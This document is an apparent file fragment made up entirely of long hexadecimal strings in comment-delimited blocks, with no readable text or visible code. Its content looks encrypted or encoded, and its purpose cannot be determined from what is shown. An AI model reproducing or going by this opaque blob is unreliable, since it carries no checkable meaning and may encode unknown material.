60a2ec7c55bd7f6cd3f638d7d05ef461e976bb2258d807ee1200c44e41ca09ae0e6be180f4764da3e76088d4a530edafa1a170bdcad21ea559bf1f276124ab53d64b1d6e2f0eb900dd5bee7bdbe6d1dad7186724d07f4e9ae59bba04884a3c84e4572e3385a717eac273b716ead967b1af277d9a2dd90e7472d9cd35a0da057154f804d85c452c12d2947193242ba09480dceaab6aa475152e23b72f194a19200ce3b5ba36f5265e5ac63eb38bcf24487287830ebecb9947c1bd35c066e3e9c1c37ace92cc9221a28b9b8959ec7e84fafd9cb2444ef006469440460dc4da7d4945ec143cdc223cc957865ea619a8306a2c0dd74902fc711c38114121a05cab1ad0a2cd28d3a28fb684653438879ecc75ff29723ddbb1efe6b4f179c9c09df111d006f6f2d404899537aa8d01109e5251396c8696333b333ad531568ec1af178e58e771af07b335c7ff652ea7b2e4ca1c48f3190016555821f099087b8a5ece22255ffc3b001b7cac488126d8456937145c19050c2a0ca60f268d7ce9129f370e11bc5be4a55c7fc602f64d7e8f40a8ea4c78ce6bcecda7a2e24c7c1697f5272cd0da9d4f9edba9747f3a3a06cc33c62d34fb3852c21f22a74e76c30f1ba1beb8b8b8a7f5edc767b107963a1deba723b836f32bcde2e248cc931e64ac52c74e9439006326ea1241f366d59b87317bdc95ce3b416273f44d0785bd58aeb24b21d0e3a8430b96b59a95f41396e6247829a3f7688ca263c01836ff5cb170b6d4368a7c6b6b61b987763b042afef011ec86c2d8ae879a259d54242045b905b2985716eb246d4bcb366c561bb6c2f64162b6146c245c560411f69d05abf517bfe33af235ebd408bea2227b37e6f71c1551438cb111d5666c3b2bb4f201f68c490fbb29e517d2ccc2cebd1a6bdc3a090614665426a9a60cf938da5de9205292b69f7da1fc6dd905ad4a5ba976d9b945507a2fd276269d01be7aa363a65f394de5ccc2ceb6b9a73428e2611e856b26a8bfd8c5d4394c8c7509bacea4ef6568db5c1f701d2702b64d2c4dac796395debf994127eb21f206e0b19dcd77ebb9921e0cb05d3096410389709e3f7426b1a51907fa22208b42fddb16b39edaa7f552246157a67894c73eda37200aa311d694c73f35c5ab99066660fc367fd6d2933dab23f02532a647f5abf1a506225d7d53327903263427d8925a9426171df49d6b119e023431a6145ebdbeb87d306ba725e282a6f167cbf97c9de18cdab18b6f6e*/
/*5566e0ab65b4a177bd5df2d2cc831c0230d3a32dd8386400ce39604d40a2e942453b6a506831f48065bec97171d17f59ac9abb4d544ee047bf34a29f148495d6571a623491974b9cf5b742108800749d90f668624aa9d57336f1938199a28643739e0e7486625316a39f63ce20abfe2e22a1d1c41e6cc532b846734a529a9b0a0dccf7e133ad1f9a50a62824a7879f27942c2e38567a9ef575b70b66a2394853a1ac7bf78b7c11fc07e5f0f62c7895a3ed923181909f10d5371bdd9df1e0a74dbb38ccc2b8f841352ade25d4bb33d7deb0c925c9660a7cd610cd511c38e0c40185e01c73de9b3fc43874972d95067b152073fd2a0b282b098a1e890c0f3e273283c1d99bb32a01f42fabcdf56bd7c92a7cdca83df0169a367382fb8e3adb46ac45f4f8573804a207d239c0146b6466d346ac518058e3806ae345b88c2500ab9ad70243f795b43f7598a0859b31153c05fb7798eb0e5b8d30f81488551cc96b009a422bb9eff7b565db876ba7c3c08c0fbc59cfa9dd5293d3e972eb6226f8800f6bde4ffbe217f2679c10d611a22566d77e68f9570316d579764b69b2371b2517cbdf8f25abac2c0794d8b8283b72431b6218cf90d0c86652e733b9a31de78c0f5c078ea23e441a4cf9b96ef6175d9d66f6a327e4a43332535ca4ae9429e295a00f6a3e596d356e40f7b0496281798fa1e93c878d1563d7bf08014f06149272d562e2df9f696489d9c4815fe6d5284361c3f64c1fd12ea6f894c37224e75edbfef356c3852f278b4f9cbd26952957aeed58bbe83602e60adc718b2df9ae990728a4638c980b0c4e47bfd85338fd77af981d9e45c382c2395dc2f936c5fc85625dac43b582764f67298b71b7896ddd5efa8132fe9a14d56af17fdbcf897233a65c3cb8190307ad9ad1575d53f81990ff406b05e7d77e48453066e1ede8b943d96672460950182ef13bbf96ea074966d75c2670e23cf56125419c1f43be6232d99e5e98c98dc9879a86778ab506b787f1ed289221313e06e8058996ca28cfe9b0573d1e4fd8fcfdb0acfa93f2c6a4fd42a708822dfb624bfebb2d82dfe072b478ad386f5e1db7420a4a1b32a7632f6d28125c320d87a112efd6c19bec5005e7f2c4d24cfd8e261cb009a8bf911f12fd34974d3974f3891e6da911f0560b68e272a60221811d33ce35423768928512415d7c3174c24560e1bb0a5ad4cd4640323f0c2a7618696a499f7566fb79db180b89cc7c64362ddb491edd3ddccf2a44e9688270e60d1841c72d019534490e09189acba503e67a0937e71b4654c41b5ad5b8b8a3027c15138ee27ed4d787c6f913d8e7a2b5115492ced298d9c474dfedf9bd588167b74eb8433d921c9c4e97bd4e3201ff054e6e021c31ff95ade2ca77503b9d905a16b9204278fd21336893ca1bcd79154c1f8f7a07dfeb7d03eb38e9d85bc63186ab2cd51b25300d3a1e7641a2849be0e1b43d96720c178dbf80a0cf486ea82742c863c45a9ea1b20e8f2658690eaf98d2136118c013ae119f72a9f960626f150f8794a2eef9744f48fdcdd03238956a5d4f6ae5fb0d2d0a5b8af537bd309694b602c6ca4772c557ac685f766d90b0f534d970405c77cd3a657f6c9e7cbe15fced8cd0ccb479a8d688239a5d83d96fbe8c775eaa7411b5bf7baa6a79bafe9a40169f7438f67c5eee17c1e81d3c7288caa30604ad472d2099bedbb53252b52303bf1a9ef8679ad58681ef65a9b5c9fae1fad71ce063ef2b916a78dd18d79477890a4cb85161de9a48a50396d09c1bf53bf47a5ac83582a8d00777836f5c0dbd4377d0d0fcfbfc8bba0cc9f74dd6e05f0a9e7f60a71a523121a51118a04eb7f3cc5faabc0791f125d38d428e605e8b918fa9a2e88923f6bf6e8023549b5db7b8379abc899c8e7820563e3459463811178e2e085c4f35391e5f96148cfc0ccbd6a9595818c8217a9e925944375d2a5f47caee1adbeb571abd6f4f9b55e1ad436c9f1fcb3f6e79d372c6aaea57de0efa3a5e383b97c6de079df6bb6b63db1b312dbc560471284e8bde5193c7575cfec57aa194a92e477e697195c04529787a775fb9a2d988fc01e0ee43d2543730d4ffb9364e135230203ef47f33759aa8469d730e130fcaa180165129989352a92419937fb6cb127773ddce644c8a5bdc6f958e2de4b0c0cfe5303964de79dc844193d2e752932f9605469a3e4c5a3b31c2308cc3a93532e759540424f7c0f7c098a4e7e55c01e6260e2447917d7a030474e1acbdc7d7beb990db9d14dff208a517220248ccf5414a82e2f54b3a43029ea48ed122fa9d6a45ad1f49244f43722cf6823d9afc7871e44107674d214a97b07bd3d3cfa660f14ad5a8d978cee2ce86c4986e92cb4e2bcc8fd87fed05bee4592f5d58b3025c42b0bb791a56c40b89af5985da09d786b94c8283240f021e698a2553d6a5dd71becb385337666789689dc41fe8762a98399c7e8f527d75539505a7d5e5f7358df086a3a9eaf00133b9a36a10d8798bb5fa348335ca00f28d7e6c66e9d5b2b09df339286db841312b47134f2f7591a7ad1d940ac35f681ea7710b96fb12685c6944be2bc0bdc0b0d1ebe20a13697ea63a24a2e82b97037efac9217479d26b792c88d375b644a122b53ad28418ef58532ea1f4200ca2c65bf462683f48038a95ca0b94fc66c53d19b6979bf1f3a4c7d45ca8debe8d7a2fc1c9fe41c42fda3773e3d2123db9151da16fefbb6c74d2d30094eacae0358d8c356df523a046beb0fc2dc0a9a0927a62faea44063f938b097cc07eda443b89f13f13abddd08c68983b9d0817f3f21a2ac8f8cb130fd2d0*/
/*c3a39f43c1f0e6b7009cc4ab198332bf3af5b3934a257174fab7dc92dd227167b7ab38a42c1ee735b7992dae21a9370a4cb90aeca4264192978eff1ce27d160099d38f6e36fb711a83e07ec86358f764c0c9b6ca83886940357955855cca154cefe060ad2ada49857a973fff735e4a9b26f171b2931dc93ef0c807efbc90582e27514111e8e91edacef16668e5c11ced6444d32894d7c74e12777ee80b4cf6e9dcaceba010de327756b855756ce39d5bf5297911f4d60f69054fbd0e0a09541c246e368907ba06952b0009991eb495bdc91bb6581135792723d4b5f04c472876051cb5c6b955eaeed99ae943b3613a17dd1dd9be078adb4d66db26f25442f317940bca84326debbd909daef3a1d91d3d6291b7baf3e952d0c9d1cb11f4adef11f609075374b324548d8826f5d23702a8106a0e4dbf4721efa939df2a8a77948d8ff76024574c637558113952bf067288cb961f002653474579cecfcb292f0ab5091ca8b87f4f783b3aa4f1314baaa5e2adca35fd630b8e0bab900d48386ebec2dfd3a7bbf60effc0f1d7aad7b2f60e8a385f6ebb66a8e34cb2af7761620f9c66286ec609a3fa2ec2e84f15c92190f841f4c49500c5bcdd5cd277e187e4f04c253f7bedf9452d1f0f0e23e7d1c870c828ad930437798023701a9c947a73b3c5bdf3e70ec2b84d7344c4f1132a71d767c6c1013abea00a200e5a25de0a6aad10ff9b857867b9e82abf7de66aaabdf56310e05c9c92485500e4510fd17789941c0d941cefd6dfd26de042c7d6fc16e1dabeee74531bbabb93013f65f59f3f6930773358330e91458f8c8b477bd3cc1b4044124ec38aba6b1546e56c8c61e7cbfdb196fc07baedd767b8fae9df3622d212bdad5ce22f362962acaf3f96cc4664d4fd5c4c189c91528adeecde0f0de5cf89bb33859f105984242a18c23d5f338e7a96936cdd6f871950681c29a8db45ae64172354466766ac6d6a47a01d4ab4c4488c05a08374dee09e37de66ac3706abaaf1b08d3d25962ada52ea8f4480ec13e8976c64552dda70766db2c891daee0782bfb410929e4d1b4d33fdf050291df162550ae6ad66b0bce529c37165c8019c58f4057b1e48aee4f771dbf357aa2bd85a649448de5419ce3024fcaedd288ed16ec5b734e09de784ae3f59bf1410daeb54c1149753b2dd24ccc0f39b1647fcb6873e38de182a984f1aedce8b5efae252e738b921295f0bcf8674637bd736033807ad313892b3a4e2e0a54d3073e9e8eb2e13655b03d95bdef5dcd78f531ad722b73f9a5bb6c857445ec1cd7745e9bf2c37b94f4557893b50ec448d2246898126e8970adde4816d3f13064ec8517b6f4535d60082d3b76090ee4a648458ce30a03177c46f7f53b2e8d909db309a6b720dc5431621fed1160c7c1f886ed0b8f76bb0f7ddaffe21bf3881b7144a53d7e3f0926d8cba942a6aa99738e5a2575b138330d8e5655a09f9853dbf9e20b1bd87083709040678dfc838e0942f4a200f36815a78f2446f95fa44cd48d43b3aee6f9fcdc4a2752e4c81c12ff2aa1e052c5abc78b912bac49b871ab19ffff2c657f2ae2900eaf94e67f8b0a907490edd9e3a7b65c8bed9f13058034748aba4eeb6ee39ab453272490b3079c425fe6021f18489621aa37177a3c513f4a31761b5b7e7513f6ccee0bda737534d46b114cb698f8516669b87c67ca83c3b6875f86c9faf0feafddcd233e21a8831ffd94cd089c9ee8e2a535dde7d8ff8d8764d0ca750f2fdbd15a267e86980e4d802912c8724530b57fe88eef729426784c806e73350420b3bf8c98557b0b5e3c50c8698eacf61b8b471951fad2cabf880eaba8ba9774c455ef6f2f0e0b1cb0eeb07ac21a38ff1a97170466d64614b861cb98dfe644957dae9c970329d580b7b843a399632af1157df9948c994c7c9a9f9bd68347ff69e31dfc1b5d1c7ffc93f19e4aad234979ff21660b62d75b520d3a7ea2c518e9d2228233ca9bd7643ceb0abbec99b21e37223fa5ff7dbc554fa79b8195344cbb4c8a2db69865d90bce37aa52122188855330209ad3f04a345cd652ca9d6097fad4cdc354eddfb72f2adbc4c918b5e441314d3108a01bb8015252d0767cc4448db8b817bd4350249e8bc0ae1d21cf0c2240c5dae7b4704080b4b86f819b7ba6ed2b651b8f311b71c4b754cd9e2c6372d90da9b315e1846e061fa6e38baf734ceb429ce20934eb285f24162802fde60d5ab976e286ad8b1b8e60aa127b756b89a2eb22ee17d122d7f551ba1473bfdad5e7e8a416032eb3802e9d222fc4de2bf34b5dd468183ad16aba4cb2009796b386af05300dbf5d990b975723d5643e04f77aa31f41906f42d94084d511f2362afa850fffd6bc436877e97f6ec6499c545b622cfd46fab44e42ba4c1b0a9e80bf1de16ebc8e64000bf81bc768cca55a2c339241c13df755faf1289f4d41d08033361e11a56a0448325ea40185ca8db8f16a2d9710b49110cf101ae49c57979ed44541e66766ecb65af33d94a4920b3b7a5f1bf8f251ee6c457ce5b52ad42073023d5fc0435089e857d0e969e4b9e948c7fd2c55beb8a292335158776b5f5a3c1447ffb12a1c0b49a905845fc0fc47f46936eb9098d27403dc50da5d357741bd8a52cb643c10d81a19debdf1578e1ff93344d9efc842ae60f91938ed250dd32197f1507d253393292f3f98a1926b0ef32e8b46fc176717e1a1e898658bf3766c01326e1b727020140555a1958d541a3d5afa1f0c883e2d2565890dd1aff8bef49f16b0c13e515ef33ff2103e62995ff9412d8825fba5b7eba86151d74bc5d58d663d753f27026aa*/
/*e67bf81a91263553988e2ac2c3606018821ec87cf05a3b755388d8720ba784d99066e9a256d6dd22f899337f352c9a1898a477fef1e960ba678dc1aa10ae693d22cd648e0a29844ac7eca5904bbc206b03536ee1df91d34b5ebbbb84a3138c82924889c6b1dcaf594a62c12de7fe42d847b53b8d9ab7e89219899f0fb18752ffe121be187d8797268a966846d3ac86cbe11940d534ac6d8f71fa3d272887db4cafd35b89644ba5c10552b697a6c3ad9c8ab1d217028a64dd03260b3d2a1f4c9cac1885c0692ee49420d2c639e838d5a4a5a42afa1f917b5bc23030425809526364b15795c35cf5c96d00025c7633eca868571d9251491a6b662c9c4861918e0d5099e8bf81e5155550a1523350755ca481126a3ff03a82f9b166d378e04b86811fdc173652536ba6501f9d73822c1c5b7f208c760da48abc6a925dab093ce7343d337f76db3a4dbb7639c141760cc52e207ef03c615dfdece4ffe77c35ffa8a5f1726b2a67c7c3d6eb46971500eeec8afc3b2c7b587d77d4b4bf65320a0d1695b11367b8503b821788996b103c2f365ed2277a2f9a4f686422209534cdc9a1babe09e5da5b7700e6332f8bd7944bac4ec72cf2b151ba53cbf2a25b9634202045beb424e4db17c1fe2283a30481d10de2061df7b58835b314c5955aad9a02e24c9b92a30b0f24af0b4123500d88efe9fd1a423bfc55fb3c37aeab25acf8063b631d9a1d9d8a1dfa186efec36b0fbad6215db3e78dd6f99bed77ee6cbcf8d063068fe501fa19e84d089fc24705083b4bfce6819332c610a9099f3fad47215df081a23803c4a71b61e1832c13305f0ace219517e07575a4dfddccd5c0298d194b2d29c487f633852c9e91a76de354544432502c181c28473d0b435a5efc0e7a5dbe5dbba8c5c111c22c78fb4f831cdcc4618c9fe7d8ca187997dc3227de352d7d7f04adc89f53a20d1f09c9e6ebe8331ee36c6517fdd2c27eb2b6e37aa2cb59304352a8b305ceba335130fae633c9f288cb807cf85bf9ab1b461f189da049b80caadc0702b0f079f5b5fa3fc912314032a30e26a1b39eba9c8b7890d111edacde36525685b0ee5e6aec9d5373a41a1c20f37137dcc8f300837c1d31c3d0482b41a626a5827ea928ee6f27461bf162adb013d9ccddf28fe4fff88537156cee828e3556df00d24a11f53b7834a937b0f959811a644806f27821ca87ac07f8d57fa5f022fb5d706e3f17d00c9e6630b59d7a4377f01ad8c566fe4f92a2a13a590c36e97cd804e37d4eba052dcce04674c22ae9997c3529cf464280e5955b691dac58f64391a6944c20b0909831072917b5e8c0e22b25a546f7589d72a6d1eb7bb7afd7f60c202510b10a267eae3a54de981985b978bf933cf94d04b9226256743ffc691a7254b45161075cb4724de6493f5d228382a050dc4934c4919547d52391a6b4ea2ba571367fb70fb3009ff4f4baacd6d04cf83fdc4b4fb1d1870bbd13a3a84f3f1198cc9d3eb924c666f873c21c5ca25890d4ecae372b96b233e775ec39c91a0fc99e86c14dbb0a3da11982df90a0daea0eed83bc786f3102c9d00f9d7681544bcc5346b8e3872ecfba2289fe26efca9e76b38be833f2e9a9a79665b0f96d315254a1be8ddef445560051590939b6b58998c1ec3ad485d3d63c6ce86e1f4af7f1d431b1cade3df48fcfda7ecf35f9e6fcf91bc17c08942331091e779480422774bd288d9a2ed5886526e2de7b72e3db387884fb4945830a44a040cf99dab2d8770e9b713da6da7df0396a7b59772095a535922a18c92d9b020e59dde8029fa201c9a183912cecc01f1b570f6d97c64c8bc1b0ee1a69b4065dc935d568a493e8d36bb48584d8bca8e7f52d1cfb3dd94c145f6117d1c7e890add15fac228b1bfd7a9cdcae8d10e9612a32b294ba9a578283636a181c3d4c86fedd22eed91603e134250b2df66f5aaa1e76748eea4008624f9b7216f49cb1f72be3bdd39d6bcd77ab752ad6255df7e4373ac32f297fc660dae3ad0b1a2cc8e71bfa82a85c253bcba283448a518e1cdfae11d406f2180e70aeb4763f7e2e83d0a6e09d7fa72e9323d4851bb17086c681ab8acca675e4ecdbfbf75afba233693ce0206e825e45eaa294937f40326d2b42f8bcd7163290811f9d5de7dd08b5b9204d3bf7c72146eff52086feda6c5bef088677223c9ea0a645f890d8fe6b309310bf3b8462c8e5ae61ee23020a46e0f31b3eab3bcfaa781560e14ba18593dfacdae6d42a3e9540c12ac9d58268973f28a9d22631c7cf49ded3fa25b04d58643c148d1073d884af0fbc157cc91dc376cfe0f1cbb2ba99009fd53e976b68284fd28e07fdd86034880955e81acc66ff172a17c5fdfd1c42f6b6d3339bd8b00b9095c0ffca94d9c54fe2f3addf18ace1dc056af07532896591b3d8695693a7b91030ed6dc47eccb5960366647d83a46b72a71e54c509be4f5a37ab3e4013dc70e6a3f141d32e99e0046e0efb894dddff1089f87133a8d9bb933f26fe0e3d8ca6b5e91b59ea32a348ef1d9d8292aed9a72affd3649585f61b88025416fdd0063d2b571be28b34165b5e443fd90a712c625403b3773485b1ff263e7f94e31d6966eb31ce2e322555c37a6361c3a2957c9ca89787d96461bf842cde398ba198cb2e28a1ff9cbe655d5d2d108602f7afd410c81706aa6a5eec46c80b1a247f4084de57fb4c1c6b6f585180e1787b786c99a95b7a17ef5c8b1f3c124c89c617316fc9f84c5f44b82acb4f12f6554a720708f552dd5117fa2fc1f3638cca6f564dd1ba351da17c9ab7bef043239bf0c318b99d0968c52909cf7a9fd2c8a0*/
/*5310102eac0fd3792dc05e839a3933569b1d6ad9d85b2aada4f346ebb01997a015d14fae0857d737b1132fb5c0d3b8cfbdd02fc5062861cf69a15c79900a177ea33a85abd756f81b5507f41dc425e00947cb14e2b01c0a184d11e4ec4bc91a11b34ef0507424d264ccc2dc2c52dc92602b079f6dae1b1732419e0f5f3e3d10fcc539a0c6d80dfa9921a1d11ee4bd9ef3c349b6e3eab37a943135f5571767ccc2b3f10506fed06695103f2e56b12ba656bcf2e3bc4924983f0d3ab93adeb1bc04b3479ab6823f2ce110419c73755f1d2091c4379e06e43c1c1bcdab3845a66f209765b68006bb300927899649e82a4fba62ec58c3ef3dde6e21017bab356d0c93538527980c9ab9e7b9882cac4e39c9e4e16e55d3e4f1d9c5ae7dad77cca186f120e18f60135141d84a9b667d4933da797f063e736d0021868ac6f7c7ec0e71f2e5e77f8ea5dfda74aa900075675773c1798d9c88c0588494c22ac6ce7951671b8d0e3d034dad006f3a7dda600fc9af4e33e7e50eab062d72665797bb9f71f7aefa6611493e7502fec63ae93b0b769f9459f5e1ab4c996934225d2b7ea579aac2cd7642e2095ae37c147d090361cc217565c393cf8875d14519c8713370440a096308d97ae64f455ad962e44f409e2ce72e5f506e81b797d9e83d15ee369f1697832dfc1279844d20afe9ea63181a0d159898a4a251b23d3460dce672f0e087facc1c43ac44614d73c936f184af71eeb8b9b932f37314f8366cbe477d53a38013d41c508637e3fb9155c731d724eb66c96ff433ca8796ebe68ecd2eb121639dab981bda03d2ad4d6f25d8d78d18c006188b30bcaccc5ff73d073107bfecba8fd24a0824d4399266bba4dd38efbb23e6c994c2e10b7a2c862926908cb5caf912af6212e8944ffc314428a338fb84df3ac97e4c39ec757f4976be58a6523de637861e380a61ac273a0fb30bb24e78a07dec3f0e7b7f1c10a7fae66d609ecf1a99b9221e0a292168e57fcf3da166dda60038b404b3ef866e0ab526e461c944d65c084bad50572ad238be7221d3f382f8695ea08b852b87ef56a9e16b390702c79922a79727c1ec22622291d3a714ce1ea81bcb052b4fbf401c4acb8643d29db434553ba0b49feef28591b52c24b88b6b2f41e5c84b4625b4801984e0396b7dc621ce59a29bef6aa350b860ac0ad1b05b7fa07e0d465e614064bf4f059f464a1d3f5ca316091933bab3fea3cf977d123bab1b66586b3ec8fcb7d602014f6c3e2643e2fa1c1bd69a22730fade3f7d51e29d0a1e992fe2bdcd2650f29d7c4dcf32d864b2b4b4bd21c7271b195d510381f20397132012331fce7a1e8094a91a603a6435c0e4bf0b180db9886100d30e57ee8cf6c80b39e14e53600195e9064e4db2b09bb55262c3ec83fc3f4a6f72d80288b5d512f9f57dc2f87083d85b0eb69ce3a1b56002140fb4ff598d9938282929adaf5df2f1937f9f51d00e05b56bd2f040e1108855bd124fe0ad395c17659e75f5d91d7c8f185b3ed42da6f993f929d6eb88d1b04dfc6d76d4352c1d1512c72e76e95ef64af4359fabb49dc733285773461d69b7c89b8db18382667f9b89aeed236cc4cdca4afa8f314d65d08b7ee8e8561081d200a4c319ae62d926fcc340ec1cb9d7d74630170a1a1f8f2ce2de905ebe26275998d0041df5079799b46a92a50a569f25e10fbdb427da9a4b412551669e724ff537db076376d165ddae1b47f0e66f321486e187d5ef6f9a659c37e13337072e3a429b15de2745be04df7de71ef199f127e7821bdad987e850264baa2d45f281050afa2e02989a8ed3effdac117555830e64ec05b83e811fab6fbf44dc74ddbd5a902bd9dd3ce505d531fd68af5d4d7ff9dbced580c49793d9447cf4584342b85bae4972739f490a6e974bc03a4db80473c361533f177aff91d8a580859bcafdde66026279b888cc7be4a6c6c95d345cf02df78e8574dd7bd22a5bfce1dd3ad287edcc6b11c0f28a6cc0e264baf2e9f1147eb7ea8c63996eeda7d22a63ad44e97d40a12334e763e60d5fd5f5c09bc1c7f092806b767654010f578273ff1800bf533fe6c8c2cdfcab58d916b8752ef4b2c58a9cb8fb5f2cf5e05101141b228a46c1fd3acb6a0e51390900117413815447a790a6619ca1cd9b8cf378a2cc81501a8b98d59c5d749199cfa3403122dfde7b347fa39cfb8e7db40ff3b19ec297d7a227a0945936c428dfbcc8f11681a39922bda7fe0dc7ae2239794654bdd5fd6b5066e1c4101cd5694b3bc5cd46ac8fa265e601445f1e7a43440f9ed3e41e75043574e4b4c4de03dbf144cdb9980bc353a2cd045d916a19c83b01a1b5c987c3e3107a230754d016ee50c682c24573c9d573d78fdcdac302180d77097ecab34ca273ca69172e0b65532e2ed4dad8fa1bc4dc87b64d550439c4b33dbd1a4b18bed12239371998a384c6c2e213ea47e6fd00cc15d1c0975d2e0e1102b6dbdd214cba93cd8e445346e6a5cce7dc62f01992c325fa0c9e67a2797750280566875637d46fb0086caa4fafe2a91a02ea3516141da60a507fcbbac2fd3b45d2d93151cf6a271649534cbe99891b389b82248b0966b9cd0fac1d686c996bf2fa3ba1cbf97d8c31c51ab628b63278917a912d24f4d07a5a2ef08ef7838e5b7e0281c4ff6c16069676b9907eaa84c4ee33b0225e156adbc2db325593adc3abe821c50039226ab14781c5f5d8d9f237644899edfbdc54d6f401eead54e7763eff9e606b899a9dc6877a6361e0aef73aebb1c9d7575af6fdb5dba60c49469b32a5f67829f816a0ee0986464b4136e3fed37a3c1eb7939e1fc*/
/*efbb242cc0742053e4f80bb09d6ca4f419ee90b166bfa655e30e24591f8a38683351c03fadb8a76128887755d5d0305aefa258aa228b461540d72debe5c6de8900f12e260ba8eeeddd7733ccfb7244508e1141fa7c5e60f6f97d67dd0956995c51cc1fc45b99d892d47796cba49d3a4b4fe26fab924b823e0edbe797d2f733beb17efed1bd9b6005e6df26b12a07ea85786e1a766e3084ed2ecf7580864fd89ef0fd0a8ad0af1bee29fd32fed6e4d14a62c0685948b6fe1ba80f72f2672c5a397c34544db3133ee4a668b757280b042224a65dfe374c7ba55553f88b80892a677a19fd238e884423ab360845784e568b1b3fae430f01da1612811c5bb8d513dd872f093ec673f06f157b10e501605afab6b76f57c234459f6779248246345c0427428ccca75906e5c6bd952309bbcb9d59a7dab0483d6963d931b72960703e04a0d8708624f9fd9a404c5770316b26652acd614afdde2d980a32e8da1536f9e4097d836dde71d5d551fbbb927ac20b31533e99c019d04c5ba61afa30b9542e8eccf317466d62e5ab979e6356ee934a25a7405b932e82591951c6b099e1e4e47b202920d3a4fef88d145641da6ccbf70fa972a842668afafef74be09895cccad487f613eb9c2bcad7ba015e8f0192e72f7889442ed055abad0aa7ae77f0a56a975f11aa15ecff740cccadb1db6801fca401ca41aae785073ee6e386c3893ef53c15ca2f2a6b8cf39ffd7b3d8d9c1c7b54ac031d9d225175b3ae880127768c647b90937717f9bb5d18709223bf920640b2a178120a42c84b89076395534a4c7e817ea9170d4e1fdf7291fabc99836c2d5cfdd0b45410b8a854815f4f320e3efc4cadb76fe6adcef8ddc6cac50cb0398de646298907f01c46b9184690cf402dea91d31a34618b0a18fd6e59fa99e13bc978f0fce2f13426b309cc6dc47d2ca028055e01f8fdd11e203b0b270ab159776471a4e222aaf135d0663201f822e0af5ccd7bba45eeabba8c5387ed74e04ec91632f7aca44f02d2826a38899fd9b59c36c753f02a43e457750688a0b086b629730cfa986bbec2ec12945220f399692ba8772a5f7994d20e57881d00e3db2774b3d2d9f9772550f43ebc61fda868411634100b72a6c365df83db073bf59564b10570ab9016b5eccc59273a89eb4d24d649e28a25c2b5753376046afbb485d4c6754ec36b5ef36b61050e424a205f8aee83fa76c360c5ed63d6fa1f688971e079efe0b4414c032d5c40b3d9b1797dffd19c4a86a5046bebd02baea207a9b02a376c8471ab7ee7f5be88278b38159eb3a453c59d8faa4c06b49cef82f99e833c4c9793879be9663d9b441c80b67ba5345089205005adb224b3051ca8087389e8aa224277653c14dee78d5ab80e4ba29fe1e48a78c0ba92e35f9d04eee46ee8422401cc6b38b611a8b65669c9f0be7f116464bc4225d3e70579dd784203149e78468c3a3c296f44627abd23dfbbb6431efb60200152f191e2938c6e9161d1e785d1ede56803a413a93aa1de7906022bab61c4c10649299f0d80d2113f525337ac9435d4744b2ffcc9c2964cc2a25ccbef7505cc3aac2b62c4aed8ee9fef6155e09578392e08043bae431284aa383ebf96f23575498af555827a83969e196e775a226f129e65bc44f6845aa5210b9dc38a4e63c055348e91bc8038f82f3c68f4e228e2ecef49b0b373ea8a9118eccc476cfd1e92efb418ff40ea46a8437471b738e1bd1bc6fdd6f70514189c0e2bc99d48c0e693ece2dcaecba088e21ec3d1265e85174a2ac7c302cc563a9efaee8ba6afda4de7170155121235f34bb6d3c5a390753e848ef819217dbf14402199222e304a8e546255707a619943d895f1477e9ce5466fcfd77c610af54d48efb4959bb1ec41992c489fc9e6c200770cd0f0b056a3e5616c3c40a33d2abac2c80acc3990ac453c3d2320c410596eca9dc78fd60bad109b16656a56f71f043ec4b398c59e945f59a954a9ce1c167d1dc87d50b0e12e8bc56341b155b0ce78970179faa56af7672496c40ff2721b49b1d585b718d86112b3a5dd41ed9d5ca23b0638c59247d4cc3dd3d7ea7311697df945de46159e123aa6a311af4eb04a64a8129c1a5c9bea763f65e368032ebb9ee0bf47acf2c08a8b52a01ab0dc798bf262a65db09e405d8fc1b6df79a5006085cce7e046445d6e7428afb17c086046ad8de30b3d00eaa7de55a220071fda3f6ee28a0757b84b08472623927e25bba74320084418aa84e6c8a4d0c300de53d4b30e870d914dc0175308e6960253132f6817664ddf49ce1cf0b1aac0ebee0934a6205e64a20d436af77b2d8b8a3d602efe91583a15754fbbbe38d457915dac4e61ea9ebb2a2c4080fe6bd89556d1417aa781d1c846ddc832a63f3d5f09319ccc8881622bcaa83bc6db198a55946ff598604cc69b182fac92949ada0b41746965104a01765d88dc1ed039ceb8131205adcb943d8687eddf2be69da3b40b1271cb57e29c86abe70e734baed3db710528abf46b30bfe212fd6438f7cbb563d41012bbbd0eafcd46842d11e83d773a0f6ec8c8d60cb9767492e2d62e2a5c49e387d54ae00f744e77fb8fc1d6a5fdcc609cbc5346e71be135ceee75bfc2d99a20094db4ac80eb732cce6fd5e2c7036e3850fa7d922a6c5bb332fe8ce2c01f48604228f1334f2a66d3d041d89a2be1cf95dc0d3d18c0e7590016e794732f774a39db8d862843ce39c3af5fc6873c11385f9580700831e90708bab7efbf5bcba926f6d0cfc615a8de33e4d97d83816dd05f47d531b730c6c9b33aee4fee9a3b12a6f7217848a320e4b73fd2c4bf*/
/*bc0dce44362866e5b1056371319d3cd90dffd417e5d74da898b740e217a2980be6c8d15cd819c650421e00ed38f1fc0a68f0be39a13ad3a88b1f245e52b1907bce3602491816748eb0fe52ddaed0bceb3cb7129f76eeb1260564dd3c7249c069075f1d57c6ba8d2ebbb85a3974659e27dc8968e346a267180025bd05f4ad4fc30e27c00b782862e77864765ceb89134ecd4791cf16bf87968861f05d34e0509c6e3ea79a613596066cfbddc02fe50bdf9ab78642abe35b4fad1694310e98a0d985350161248eb8becf952f79de0fa19ed13ac3315b32f9524b23c76231e77cfd341fa4b4f731e953607abfdff95859cce04aaa5f8d16ccba7ea79cfd544b8449c02570e7792c7877616b8eb6df179ccd9b3941a2506dcb2114a0c2580f884761fe9128d28dc490dfa8cce15e07bd039dc29a9a10dda468acb44ff39f56883da35910ee12124a38c68287e10191df6389ccaaeabcc7d361e5f19c4e6cbc873f6c0ef5470f1f1e5eecc1287a95e34045947744a6858da72da8f96508613f33a7860789047b1235ebd16f490a287abf134bf9d2f97537f5deee906c0bd464bf7be9c7aa6f603d074b3af343718d1cb1f197098322b75c6b4ccb8a19e6c47ce8a190053a338a1e62fe14e869185dcbae470bb06721662ef5f9fed07cc889411e32303d0a12b0c549c52694b61d5487b3ea23d2f0e0fe62478f19c77fbb46cfc16300364e425ba862f9438ff825ab4ff4d163185520f9ba6ac7fe7a5ec062c3bed1b0e7ab65c3e10ff93994da303ca6805fa83e794cfb5838cce7fa5817b8d3f439360164c231cd3e8dcc339c7c606eba2d278365de9ef0667f5fd78421077d078a4a8adca02d92f3a10c38a52da2c044baf1ab4aad64bd5760abfd3b2dc5a946682d48dcaa4280f067e566cf57e7f5d66c984f034eee35555937fca1f294e73127b004c68a46